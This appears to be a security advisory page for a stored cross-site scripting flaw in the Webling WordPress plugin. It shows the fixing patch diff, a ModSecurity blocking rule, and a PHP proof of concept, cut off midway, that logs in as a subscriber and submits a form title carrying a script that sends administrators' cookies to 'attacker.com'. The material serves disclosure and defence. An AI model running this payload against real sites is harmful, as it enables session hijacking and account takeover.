+													<p class="description" id="confirmation_email_webling_field_error" style="color: red;"><?php echo esc_html__('Kein E-Mail Feld im Formular gefunden. Füge ein E-Mail Feld zum Formular hinzu um diese Funktion zu nutzen.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('Wähle das E-Mail Feld in deinem Formular. Der Besucher erhält eine Bestätigung an die Adresse die in das hier ausgewählte Feld eingegeben wurde. Das E-Mail wird nur versandt, wenn die Adresse ausgefüllt wurde und gültig ist.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr class="webling_confirmation_settings">
-												<th scope="row"><?php echo __('E-Mail Betreff', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('E-Mail Betreff', 'webling') ?></th>
 												<td>
-													<input type="text" placeholder="<?php echo __('E-Mail Betreff', 'webling') ?>" name="confirmation_email_subject" value="<?php echo esc_attr($data['confirmation_email_subject']); ?>" class="regular-text">
-													<p class="description"><?php echo __('Der Betreff der E-Mail an den Besucher.', 'webling') ?></p>
+													<input type="text" placeholder="<?php echo esc_attr__('E-Mail Betreff', 'webling') ?>" name="confirmation_email_subject" value="<?php echo esc_attr($data['confirmation_email_subject']); ?>" class="regular-text">
+													<p class="description"><?php echo esc_html__('Der Betreff der E-Mail an den Besucher.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr class="webling_confirmation_settings">
-												<th scope="row"><?php echo __('E-Mail Text', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('E-Mail Text', 'webling') ?></th>
 												<td>
-													<textarea placeholder="<?php echo __('E-Mail Bestätigungstext', 'webling') ?>" name="confirmation_email_text" style="width: 100%; height: 300px"><?php echo esc_html($data['confirmation_email_text']); ?></textarea>
-													<p class="description"><?php echo __('Der E-Mail-Text der an den Besucher gesendet wird. Du kannst in diesem Text Platzhalter im Format <code>[[Feldname]]</code> verwenden. Achtung: Verwende den Feldnamen in Webling und nicht den Feldnamen aus dem Formular!', 'webling') ?></p>
+													<textarea placeholder="<?php echo esc_attr__('E-Mail Bestätigungstext', 'webling') ?>" name="confirmation_email_text" style="width: 100%; height: 300px"><?php echo esc_html($data['confirmation_email_text']); ?></textarea>
+													<p class="description"><?php echo esc_html__('Der E-Mail-Text der an den Besucher gesendet wird. Du kannst in diesem Text Platzhalter im Format <code>[[Feldname]]</code> verwenden. Achtung: Verwende den Feldnamen in Webling und nicht den Feldnamen aus dem Formular!', 'webling') ?></p>
 												</td>
 											</tr>
 										</table>
@@ -230,18 +231,18 @@
 						<div id="postbox-container-1" class="postbox-container">
 							<div id="side-sortables" class="meta-box-sortables">
 								<div id="submitdiv" class="postbox">
-									<h2 class="hndle"><span><?php echo __('Veröffentlichen', 'webling') ?></span></h2>
+									<h2 class="hndle"><span><?php echo esc_html__('Veröffentlichen', 'webling') ?></span></h2>
 									<div class="inside">
 										<div class="submitbox" id="submitpost">
 											<div id="misc-publishing-actions">
 												<div class="misc-pub-section">
 													<?php if ($id) { ?>
-													<p><?php echo __('Füge diesen Shortcode in eine Seite oder einen Artikel ein um dieses Formular anzuzeigen:', 'webling') ?></p>
+													<p><?php echo esc_html__('Füge diesen Shortcode in eine Seite oder einen Artikel ein um dieses Formular anzuzeigen:', 'webling') ?></p>
 													<p>
 														<input title="Shortcode" class="shortcode" type="text" value='[webling_form id="<?php echo $id; ?>"]'>
 													</p>
 													<?php } else { ?>
-														<p><?php echo __('Nach dem Erstellen wird ein Shortcode erstellt, mit welchem du das Formular auf einer Seite oder in einem Artikel anzeigen kannst.', 'webling') ?></p>
+														<p><?php echo esc_html__('Nach dem Erstellen wird ein Shortcode erstellt, mit welchem du das Formular auf einer Seite oder in einem Artikel anzeigen kannst.', 'webling') ?></p>
 													<?php } ?>
 												</div>
 											</div>
@@ -250,7 +251,7 @@
 													<a class="submitdelete deletion" href="http://localhost/webling/wordpress-4.7.0/wp-admin/post.php?post=1&action=trash&_wpnonce=970d6cb90f">Move to Trash</a>
 												</div-->
 												<div id="publishing-action">
-													<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php echo __('Speichern', 'webling') ?>">
+													<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php echo esc_attr__('Speichern', 'webling') ?>">
 												</div>
 												<div class="clear"></div>
 											</div>
@@ -258,9 +259,9 @@
 									</div>
 								</div>
 								<div id="webling_fields_div" class="postbox">
-									<h2 class="hndle"><span><?php echo __('Felder', 'webling') ?></span></h2>
+									<h2 class="hndle"><span><?php echo esc_html__('Felder', 'webling') ?></span></h2>
 									<div class="inside">
-										<p><?php echo __('Ziehe diese Felder in den Hauptbereich um sie zum Formular hinzuzufügen:', 'webling') ?></p>
+										<p><?php echo esc_html__('Ziehe diese Felder in den Hauptbereich um sie zum Formular hinzuzufügen:', 'webling') ?></p>
 										<ul id="sortable_side" class="connectedSortable">
 										<?php
 											foreach ($member_properties as $config) {
@@ -271,7 +272,7 @@
 													}
 												}
 											}
-											?>
+										?>
 										</ul>
 									</div>
 								</div>
@@ -342,40 +343,40 @@
 		switch($config['datatype']) {
 			case 'text':
 				if (isset($config['type']) && $config['type'] == 'email') {
-					return __('Text, E-Mail', 'webling');
+					return esc_html__('Text, E-Mail', 'webling');
 				} else {
-					return __('Text', 'webling');
+					return esc_html__('Text', 'webling');
 				}
 				break;
 			case 'longtext':
-				return __('Mehrzeiliger Text', 'webling');
+				return esc_html__('Mehrzeiliger Text', 'webling');
 				break;
 			case 'int':
-				return __('Zahl', 'webling');
+				return esc_html__('Zahl', 'webling');
 				break;
 			case 'numeric':
-				return __('Betrag', 'webling');
+				return esc_html__('Betrag', 'webling');
 				break;
 			case 'bool':
-				return __('Checkbox', 'webling');
+				return esc_html__('Checkbox', 'webling');
 				break;
 			case 'enum':
-				return __('Auswahlfeld', 'webling');
+				return esc_html__('Auswahlfeld', 'webling');
 				break;
 			case 'multienum':
-				return __('Mehrfachauswahlfeld', 'webling');
+				return esc_html__('Mehrfachauswahlfeld', 'webling');
 				break;
 			case 'date':
-				return __('Datum', 'webling');
+				return esc_html__('Datum', 'webling');
 				break;
 			case 'image':
-				return __('Bild', 'webling');
+				return esc_html__('Bild', 'webling');
 				break;
 			case 'file':
-				return __('Datei', 'webling');
+				return esc_html__('Datei', 'webling');
 				break;
 			case 'autoincrement':
-				return __('Mitglieder ID', 'webling');
+				return esc_html__('Mitglieder ID', 'webling');
 				break;
 			default:
 				return ucfirst($config['datatype']);
@@ -413,68 +414,68 @@
 				</div>
 				<div class="widget-inside">
 					<div class="widget-content">
-						<input type="hidden" name="fields[<?php echo $fieldid; ?>][webling_field_id]" value="<?php echo $config['id']; ?>" class="fieldid">
-						<input type="hidden" name="fields[<?php echo $fieldid; ?>][order]" class="order" value="0">
+						<input type="hidden" name="fields[<?php echo esc_attr($fieldid); ?>][webling_field_id]" value="<?php echo esc_attr($config['id']); ?>" class="fieldid">
+						<input type="hidden" name="fields[<?php echo esc_attr($fieldid); ?>][order]" class="order" value="0">
 						<table class="form-table">
 							<tr>
-								<th scope="row"><?php echo __('Feld in Webling', 'webling') ?></th>
-								<td><?php echo esc_html($name); ?> <span class="description">(<?php echo self::translated_datatype($config) ?>)</span></td>
+								<th scope="row"><?php echo esc_html__('Feld in Webling', 'webling') ?></th>
+								<td><?php echo esc_html($name); ?> <span class="description">(<?php echo esc_html(self::translated_datatype($config)) ?>)</span></td>
 							</tr>
 							<tr <?php if($type == 'multienum') echo 'style="display: none;"'; ?>>
-								<th scope="row"><?php echo __('Pflichtfeld', 'webling') ?></th>
+								<th scope="row"><?php echo esc_html__('Pflichtfeld', 'webling') ?></th>
 								<td>
 									<label>
-										<input name="fields[<?php echo $fieldid; ?>][required]" type="checkbox" value="1" <?php echo ($data['required'] ? 'checked' : ''); ?>>
-										<?php echo __('Feld muss ausgefüllt werden', 'webling') ?>
+										<input name="fields[<?php echo esc_attr($fieldid); ?>][required]" type="checkbox" value="1" <?php echo ($data['required'] ? 'checked' : ''); ?>>
+										<?php echo esc_html__('Feld muss ausgefüllt werden', 'webling') ?>
 									</label>
 								</td>
 							</tr>
 							<tr>
-								<th scope="row"><?php echo __('Feldname', 'webling') ?></th>
+								<th scope="row"><?php echo esc_html__('Feldname', 'webling') ?></th>
 								<td>
-									<input type="text" name="fields[<?php echo $fieldid; ?>][field_name]" value="<?php echo esc_attr($data['field_name']); ?>" placeholder="<?php echo __('Name des Formularfeldes', 'webling') ?>" class="regular-text fieldname">
+									<input type="text" name="fields[<?php echo esc_attr($fieldid); ?>][field_name]" value="<?php echo esc_attr($data['field_name']); ?>" placeholder="<?php echo esc_attr__('Name des Formularfeldes', 'webling') ?>" class="regular-text fieldname">
 								</td>
 							</tr>
 							<tr>
-								<th scope="row"><?php echo __('Position des Feldnamens', 'webling') ?></th>
+								<th scope="row"><?php echo esc_html__('Position des Feldnamens', 'webling') ?></th>
 								<td>
-									<select name="fields[<?php echo $fieldid; ?>][field_name_position]">
-										<option value="TOP" <?php echo ($data['field_name_position'] == 'TOP' ? 'selected' : ''); ?>><?php echo __('Oberhalb', 'webling') ?></option>
-										<option value="LEFT" <?php echo ($data['field_name_position'] == 'LEFT' ? 'selected' : ''); ?>><?php echo __('Links', 'webling') ?></option>
-										<option value="HIDDEN" <?php echo ($data['field_name_position'] == 'HIDDEN' ? 'selected' : ''); ?>><?php echo __('Feldnamen nicht anzeigen', 'webling') ?></option>
+									<select name="fields[<?php echo esc_attr($fieldid); ?>][field_name_position]">
+										<option value="TOP" <?php echo ($data['field_name_position'] == 'TOP' ? 'selected' : ''); ?>><?php echo esc_html__('Oberhalb', 'webling') ?></option>
+										<option value="LEFT" <?php echo ($data['field_name_position'] == 'LEFT' ? 'selected' : ''); ?>><?php echo esc_html__('Links', 'webling') ?></option>
+										<option value="HIDDEN" <?php echo ($data['field_name_position'] == 'HIDDEN' ? 'selected' : ''); ?>><?php echo esc_html__('Feldnamen nicht anzeigen', 'webling') ?></option>
 									</select>
 								</td>
 							</tr>
 							<tr <?php if(in_array($type, array('date','multienum', 'file', 'image'))) echo 'style="display: none;"'; ?>>
 								<th scope="row">
 									<?php
-										if($type == 'bool') echo __('Beschriftung', 'webling');
-										else echo __('Platzhalter', 'webling');
+										if($type == 'bool') echo esc_html__('Beschriftung', 'webling');
+										else echo esc_html__('Platzhalter', 'webling');
 									?>
 								</th>
 								<td>
-									<input type="text" name="fields[<?php echo $fieldid; ?>][placeholder_text]" value="<?php echo esc_attr($data['placeholder_text']); ?>" placeholder="<?php
-										if($type == 'bool') echo __('Beschriftung der Checkbox', 'webling');
-										else echo __('Platzhalter text', 'webling');
+									<input type="text" name="fields[<?php echo esc_attr($fieldid); ?>][placeholder_text]" value="<?php echo esc_attr($data['placeholder_text']); ?>" placeholder="<?php
+										if($type == 'bool') echo esc_attr__('Beschriftung der Checkbox', 'webling');
+										else echo esc_attr__('Platzhalter text', 'webling');
 									?>" class="regular-text">
 								</td>
 							</tr>
 							<tr>
-								<th scope="row"><?php echo __('Beschreibungstext', 'webling') ?></th>
+								<th scope="row"><?php echo esc_html__('Beschreibungstext', 'webling') ?></th>
 								<td>
-									<input type="text" name="fields[<?php echo $fieldid; ?>][description_text]" value="<?php echo esc_attr($data['description_text']); ?>" placeholder="<?php echo __('Kurzer Hilfe- oder Beschreibungstext', 'webling') ?>" class="regular-text">
+									<input type="text" name="fields[<?php echo esc_attr($fieldid); ?>][description_text]" value="<?php echo esc_attr($data['description_text']); ?>" placeholder="<?php echo esc_attr__('Kurzer Hilfe- oder Beschreibungstext', 'webling') ?>" class="regular-text">
 								</td>
 							</tr>
 							<tr <?php if(!in_array($type, array('enum','multienum'))) echo 'style="display: none;"'; ?>>
-								<th scope="row"><?php echo __('Mögliche Auswahlwerte', 'webling'); ?></th>
+								<th scope="row"><?php echo esc_html__('Mögliche Auswahlwerte', 'webling'); ?></th>
 								<td>
-									<?php echo __('Standardmässig werden alle Auswahlwerte angezeigt.', 'webling'); ?><br>
-									<?php echo __('Du kannst die Wahlmöglichkeiten einschränken, indem du hier nur die Auswahlwerte anwählst, welche angezeigt werden sollen:', 'webling'); ?>
+									<?php echo esc_html__('Standardmässig werden alle Auswahlwerte angezeigt.', 'webling'); ?><br>
+									<?php echo esc_html__('Du kannst die Wahlmöglichkeiten einschränken, indem du hier nur die Auswahlwerte anwählst, welche angezeigt werden sollen:', 'webling'); ?>
 									<div class="webling-fields-selectable-options">
 									<?php
 										if (isset($config['values']) && is_array($config['values'])) {
 											foreach ($config['values'] as $option) {
-												echo '<div><label><input type="checkbox" name="fields['.$fieldid.'][select_options]['.$option['id'].']" '.(in_array($option['id'], $data['select_options']) ? 'checked' : '').'> ' . esc_html($option['value']) . '</label></div>';
+												echo '<div><label><input type="checkbox" name="fields['.esc_attr($fieldid).'][select_options]['.esc_attr($option['id']).']" '.(in_array($option['id'], $data['select_options']) ? 'checked' : '').'> ' . esc_html($option['value']) . '</label></div>';
 											}
 										}
 									?>
@@ -482,16 +483,16 @@
 								</td>
 							</tr>
 							<tr>
-								<th scope="row"><?php echo __('CSS Klasse', 'webling') ?></th>
+								<th scope="row"><?php echo esc_html__('CSS Klasse', 'webling') ?></th>
 								<td>
-									<input type="text" name="fields[<?php echo $fieldid; ?>][class]" value="<?php echo esc_attr($data['class']); ?>" placeholder="<?php echo __('CSS Klasse', 'webling') ?>" class="regular-text">
+									<input type="text" name="fields[<?php echo esc_attr($fieldid); ?>][class]" value="<?php echo esc_attr($data['class']); ?>" placeholder="<?php echo esc_attr__('CSS Klasse', 'webling') ?>" class="regular-text">
 								</td>
 							</tr>
 						</table>
 						<div class="widget-control-actions">
 							<div class="alignleft">
-								<a class="widget-control-remove" href="#remove" onclick="return webling_remove_field('<?php echo $fieldid; ?>')"><?php echo __('Feld entfernen', 'webling') ?></a> |
-								<a class="widget-control-close" href="#close" onclick="return webling_toggle_field('<?php echo $fieldid; ?>')"><?php echo __('Schliessen', 'webling') ?></a>
+								<a class="widget-control-remove" href="#remove" onclick="return webling_remove_field('<?php echo esc_js($fieldid); ?>')"><?php echo esc_html__('Feld entfernen', 'webling') ?></a> |
+								<a class="widget-control-close" href="#close" onclick="return webling_toggle_field('<?php echo esc_js($fieldid); ?>')"><?php echo esc_html__('Schliessen', 'webling') ?></a>
 							</div>
 							<br class="clear">
 						</div>
--- a/webling/src/admin/pages/form_list.php
+++ b/webling/src/admin/pages/form_list.php
@@ -10,7 +10,7 @@
 			<div class="wrap">
 				<h2>
 					Anmeldeformulare
-					<a href="<?php echo admin_url( 'admin.php?page=webling_page_form_edit' ); ?>" class="page-title-action"><?php echo esc_html(__('Neues Formular', 'webling')); ?></a>
+					<a href="<?php echo admin_url( 'admin.php?page=webling_page_form_edit' ); ?>" class="page-title-action"><?php echo esc_html__('Neues Formular', 'webling'); ?></a>
 				</h2>

 				<div id="poststuff">
@@ -19,6 +19,7 @@
 							<div class="meta-box-sortables ui-sortable">
 								<form method="post">
 									<?php
+									wp_nonce_field('bulk-' . $forms->_args['plural']);
 									$forms->display(); ?>
 								</form>
 							</div>
--- a/webling/src/admin/pages/memberlist_edit.php
+++ b/webling/src/admin/pages/memberlist_edit.php
@@ -62,9 +62,9 @@

 		echo '<div class="wrap webling-admin">';
 		if ($id) {
-			echo '<h2>'.__('Mitgliederliste bearbeiten', 'webling').' (ID: '.$id.')</h2>';
+			echo '<h2>'.esc_html(__('Mitgliederliste bearbeiten', 'webling')).' (ID: '.intval($id).')</h2>';
 		} else {
-			echo '<h2>'.__('Mitgliederliste erstellen', 'webling').'</h2>';
+			echo '<h2>'.esc_html(__('Mitgliederliste erstellen', 'webling')).'</h2>';
 		}
 		?>

@@ -72,6 +72,7 @@
 			<form action="admin-post.php" method="post">
 				<input type="hidden" name="action" value="save_memberlist">
 				<input type="hidden" name="list_id" value="<?php echo $data['id']; ?>">
+				<?php wp_nonce_field('webling_save_memberlist'); ?>

 				<div id="poststuff">
 					<div id="post-body" class="metabox-holder columns-2">
@@ -85,48 +86,48 @@

 							<div class="bodywrap">

-								<h3><?php echo __('Mitglieder anzeigen', 'webling') ?></h3>
+								<h3><?php echo esc_html__('Mitglieder anzeigen', 'webling') ?></h3>
 								<div>
 									<select name="type" id="memberlist_type" onchange="webling_memberlist_type_changed()">
-										<option value="ALL" <?php echo ($data['type'] == 'ALL' ? 'selected' : '') ?>><?php echo __('Alle Mitglieder') ?></option>
-										<option value="GROUPS" <?php echo ($data['type'] == 'GROUPS' ? 'selected' : '') ?>><?php echo __('Gruppen wählen') ?></option>
-										<option value="SAVEDSEARCH" <?php echo ($data['type'] == 'SAVEDSEARCH' ? 'selected' : '') ?>><?php echo __('Gespeicherte Suche wählen') ?></option>
+										<option value="ALL" <?php echo ($data['type'] == 'ALL' ? 'selected' : '') ?>><?php echo esc_html__('Alle Mitglieder', 'webling') ?></option>
+										<option value="GROUPS" <?php echo ($data['type'] == 'GROUPS' ? 'selected' : '') ?>><?php echo esc_html__('Gruppen wählen', 'webling') ?></option>
+										<option value="SAVEDSEARCH" <?php echo ($data['type'] == 'SAVEDSEARCH' ? 'selected' : '') ?>><?php echo esc_html__('Gespeicherte Suche wählen', 'webling') ?></option>
 									</select>
 								</div>

 								<div id="groupselector" style="display: none">
-									<h4><?php echo __('Mitglieder aus folgenden Gruppen anzeigen:', 'webling') ?></h4>
+									<h4><?php echo esc_html__('Mitglieder aus folgenden Gruppen anzeigen:', 'webling') ?></h4>
 									<?php echo self::groupselector(unserialize($data['groups'])) ?>
 								</div>

 								<div id="savedsearchselector" style="display: none">
-									<h4><?php echo __('Mitglieder aus gespeicherter Suche anzeigen:', 'webling') ?></h4>
+									<h4><?php echo esc_html__('Mitglieder aus gespeicherter Suche anzeigen:', 'webling') ?></h4>
 									<?php echo self::savedsearchselector($data['savedsearch']) ?>
 								</div>

-								<h3><?php echo __('Darstellung', 'webling') ?></h3>
+								<h3><?php echo esc_html__('Darstellung', 'webling') ?></h3>
 								<div>
 									<fieldset>
 										<p>
 											<label onclick="webling_memberlist_design_updated()">
 												<input name="design" type="radio" value="LIST" <?php echo ($data['design'] == 'LIST' ? 'checked="checked"' : '') ?>>
-												<?php echo __('Einfache Liste') ?>
+												<?php echo esc_html__('Einfache Liste', 'webling') ?>
 											</label><br>
 											<label onclick="webling_memberlist_design_updated()">
 												<input name="design" type="radio" value="CUSTOM" <?php echo ($data['design'] == 'CUSTOM' ? 'checked="checked"' : '') ?>>
-												<?php echo __('Eigenes Design (HTML)') ?>
+												<?php echo esc_html__('Eigenes Design (HTML)', 'webling') ?>
 											</label>
 										</p>
 									</fieldset>
 								</div>

 								<div id="webling_design_custom" style="display: none">
-									<h3><?php echo __('Eigene Designvorlage', 'webling') ?></h3>
-									<textarea placeholder="<?php echo __('HTML Template', 'webling') ?>" name="custom_template" style="width: 100%; height: 300px"><?php echo esc_html($data['custom_template']); ?></textarea>
+									<h3><?php echo esc_html__('Eigene Designvorlage', 'webling') ?></h3>
+									<textarea placeholder="<?php echo esc_attr__('HTML Template', 'webling') ?>" name="custom_template" style="width: 100%; height: 300px"><?php echo esc_html($data['custom_template']); ?></textarea>
 									<a name="placeholders"></a>
 									<p class="description">
-										<?php echo __('Dieses HTML-Template wird für jedes Mitglied auf der Seite einmal angezeigt. Du kannst in diesem Code Platzhalter im Format <code>[[Feldname]]</code> verwenden.', 'webling') ?>
-										<a href="#placeholders" onclick="jQuery('#webling_design_placeholders').toggle()"><?php echo __('Mögliche Platzhalter anzeigen', 'webling') ?></a>
+										<?php echo esc_html__('Dieses HTML-Template wird für jedes Mitglied auf der Seite einmal angezeigt. Du kannst in diesem Code Platzhalter im Format <code>[[Feldname]]</code> verwenden.', 'webling') ?>
+										<a href="#placeholders" onclick="jQuery('#webling_design_placeholders').toggle()"><?php echo esc_html__('Mögliche Platzhalter anzeigen', 'webling') ?></a>
 									</p>

 									<div id="webling_design_placeholders" class="webling_design_placeholders_description" style="display: none">
@@ -137,21 +138,21 @@
 											}
 											?>
 										</ul>
-										<?php echo __('Um ein Bild anzuzeigen kannst du folgenden Code verwenden:', 'webling') ?><br>
+										<?php echo esc_html__('Um ein Bild anzuzeigen kannst du folgenden Code verwenden:', 'webling') ?><br>
 										<code><img src="[[Platzhalter]]" /></code><br>
 										<br>
-										<?php echo __('Du kannst auch die gewünschte Grösse angeben:', 'webling') ?><br>
+										<?php echo esc_html__('Du kannst auch die gewünschte Grösse angeben:', 'webling') ?><br>
 										<code><img src="[[Bild@width=100]]" /></code><br>
 										<code><img src="[[Bild@height=200]]" /></code><br>
 										<code><img src="[[Bild@width=150,height=150]]" /></code><br>
 										<br>
-										<?php echo __('Beispiel um ein Bild auch auf hochaufgelösten Bildschirmen scharf darzustellen:', 'webling') ?><br>
+										<?php echo esc_html__('Beispiel um ein Bild auch auf hochaufgelösten Bildschirmen scharf darzustellen:', 'webling') ?><br>
 										<code><img src="[[Mitgliederbild@width=200,height=200]]" style="width: 100px;"></code><br>
 									</div>
 								</div>

 								<div id="webling_design_list">
-									<h3><?php echo __('Angezeigte Felder und Reihenfolge festlegen', 'webling') ?></h3>
+									<h3><?php echo esc_html__('Angezeigte Felder und Reihenfolge festlegen', 'webling') ?></h3>
 									<input type="hidden" id="fields" name="fields" value="<?php echo $data['fields']; ?>">
 									<ul id="sortable">
 									<?php
@@ -194,21 +195,21 @@
 						<div id="postbox-container-1" class="postbox-container">
 							<div id="side-sortables" class="meta-box-sortables">
 								<div id="submitdiv" class="postbox">
-									<h2 class="hndle"><span><?php echo __('Veröffentlichen', 'webling') ?></span></h2>
+									<h2 class="hndle"><span><?php echo esc_html__('Veröffentlichen', 'webling') ?></span></h2>
 									<div class="inside">
 										<div class="submitbox" id="submitpost">
 											<div id="misc-publishing-actions">
 												<div class="misc-pub-section">
 													<?php if ($id) { ?>
 													<p>
-														<b><?php echo __('Shortcode', 'webling') ?></b>
+														<b><?php echo esc_html__('Shortcode', 'webling') ?></b>
 													</p>
-													<p><?php echo __('Füge diesen Shortcode in eine Seite oder einen Artikel ein um diese Liste anzuzeigen:', 'webling') ?></p>
+  											<p><?php echo esc_html__('Füge diesen Shortcode in eine Seite oder einen Artikel ein um diese Liste anzuzeigen:', 'webling') ?></p>
 													<p>
-														<input title="Shortcode" class="shortcode" type="text" value='[webling_memberlist id="<?php echo $id; ?>"]'>
+														<input title="Shortcode" class="shortcode" type="text" value='[webling_memberlist id="<?php echo intval($id); ?>"]'>
 													</p>
 													<?php } else { ?>
-														<p><?php echo __('Nach dem Erstellen wird ein Shortcode erstellt, mit welchem du die Liste auf einer Seite oder in einem Artikel anzeigen kannst.', 'webling') ?></p>
+														<p><?php echo esc_html__('Nach dem Erstellen wird ein Shortcode erstellt, mit welchem du die Liste auf einer Seite oder in einem Artikel anzeigen kannst.', 'webling') ?></p>
 													<?php } ?>
 												</div>
 											</div>
@@ -217,7 +218,7 @@
 													<a class="submitdelete deletion" href="http://localhost/webling/wordpress-4.7.0/wp-admin/post.php?post=1&action=trash&_wpnonce=970d6cb90f">Move to Trash</a>
 												</div-->
 												<div id="publishing-action">
-													<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php echo __('Speichern', 'webling') ?>">
+													<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php echo esc_attr__('Speichern', 'webling') ?>">
 												</div>
 												<div class="clear"></div>
 											</div>
@@ -225,22 +226,22 @@
 									</div>
 								</div>
 								<div id="optionsdiv" class="postbox">
-									<h2 class="hndle"><span><?php echo __('Optionen', 'webling') ?></span></h2>
+									<h2 class="hndle"><span><?php echo esc_html__('Optionen', 'webling') ?></span></h2>
 									<div class="inside">
 										<p class="post-attributes-label-wrapper"><label class="post-attributes-label" for="sortfield">
-											<?php echo __('Sortieren nach', 'webling') ?>
+											<?php echo esc_html__('Sortieren nach', 'webling') ?>
 										</label></p>
 										<?php echo self::fieldselector($data['sortfield'], 'sortfield'); ?>
 										<select title="sort order" name="sortorder">
-											<option value="ASC" <?php echo ($data['sortorder'] == 'ASC' ? 'selected' : ''); ?>><?php echo __('aufsteigend [A-Z]', 'webling') ?></option>
-											<option value="DESC" <?php echo ($data['sortorder'] == 'DESC' ? 'selected' : ''); ?>><?php echo __('absteigend [Z-A]', 'webling') ?></option>
+											<option value="ASC" <?php echo ($data['sortorder'] == 'ASC' ? 'selected' : ''); ?>><?php echo esc_html__('aufsteigend [A-Z]', 'webling') ?></option>
+											<option value="DESC" <?php echo ($data['sortorder'] == 'DESC' ? 'selected' : ''); ?>><?php echo esc_html__('absteigend [Z-A]', 'webling') ?></option>
 										</select>

 										<p class="post-attributes-label-wrapper"><label class="post-attributes-label" for="sortfield">
-											<?php echo __('Eigene CSS Klasse', 'webling') ?>
+											<?php echo esc_html__('Eigene CSS Klasse', 'webling') ?>
 										</label></p>
-										<input type="text" placeholder="<?php echo __('CSS Klasse', 'webling') ?>" name="class" value="<?php echo esc_attr($data['class']); ?>">
-										<p><?php echo __('Für eigene Designanpassungen', 'webling') ?></p>
+										<input type="text" placeholder="<?php echo esc_attr__('CSS Klasse', 'webling') ?>" name="class" value="<?php echo esc_attr($data['class']); ?>">
+										<p><?php echo esc_html__('Für eigene Designanpassungen', 'webling') ?></p>
 									</div>
 								</div>
 							</div>
@@ -307,7 +308,7 @@
 			}
 			$html .= '</select>';
 		} else {
-			$html = '<div>'. __('Keine öffentliche gespeicherte Suche gefunden.', 'webling') . '</div>';
+			$html = '<div>'. esc_html__('Keine öffentliche gespeicherte Suche gefunden.', 'webling') . '</div>';
 		}
 		return $html;
 	}
--- a/webling/src/admin/pages/memberlist_list.php
+++ b/webling/src/admin/pages/memberlist_list.php
@@ -10,7 +10,7 @@
 			<div class="wrap">
 				<h2>
 					Mitgliederlisten
-					<a href="<?php echo admin_url( 'admin.php?page=webling_page_memberlist_edit' ); ?>" class="page-title-action"><?php echo esc_html(__('Neue Liste', 'webling')); ?></a>
+					<a href="<?php echo admin_url( 'admin.php?page=webling_page_memberlist_edit' ); ?>" class="page-title-action"><?php echo esc_html__('Neue Liste', 'webling'); ?></a>
 				</h2>

 				<div id="poststuff">
@@ -19,6 +19,7 @@
 							<div class="meta-box-sortables ui-sortable">
 								<form method="post">
 									<?php
+									wp_nonce_field('bulk-' . $memberlist->_args['plural']);
 									$memberlist->display(); ?>
 								</form>
 							</div>
--- a/weblin

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-1263
SecRule REQUEST_URI "@endsWith /wp-admin/admin-post.php" 
  "id:20261263,phase:2,deny,status:403,chain,msg:'CVE-2026-1263 Webling Plugin Stored XSS via admin-post.php',severity:'CRITICAL',tag:'CVE-2026-1263',tag:'OWASP_CRS/WEB_ATTACK/XSS',tag:'paranoia-level/2'"
  SecRule ARGS_POST:action "@within save_form save_memberlist" "chain"
    SecRule ARGS_POST:title "@detectXSS" 
      "t:lowercase,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:removeNulls,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1263 - Webling <= 3.9.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'title' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-1263
 * Requires valid WordPress subscriber credentials
 * Targets the webling_admin_save_form function
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-post.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Malicious payload - steals admin cookies when viewed
$malicious_title = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// First, authenticate to get WordPress cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('admin-post.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => str_replace('admin-post.php', 'admin.php', $target_url),
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check if login succeeded by looking for dashboard elements
if (strpos($response, 'wp-admin-bar') === false) {
    die('Login failed. Check credentials.');
}

// Now exploit the vulnerable save_form action
// Create a new form with malicious title
$post_data = [
    'action' => 'save_form',
    'form_id' => '0', // 0 creates new form
    'title' => $malicious_title,
    'group_id' => '1', // Required field
    'notification_email' => 'test@example.com',
    'confirmation_text' => 'Test confirmation',
    'submit_button_text' => 'Submit',
    'class' => 'test-class'
];

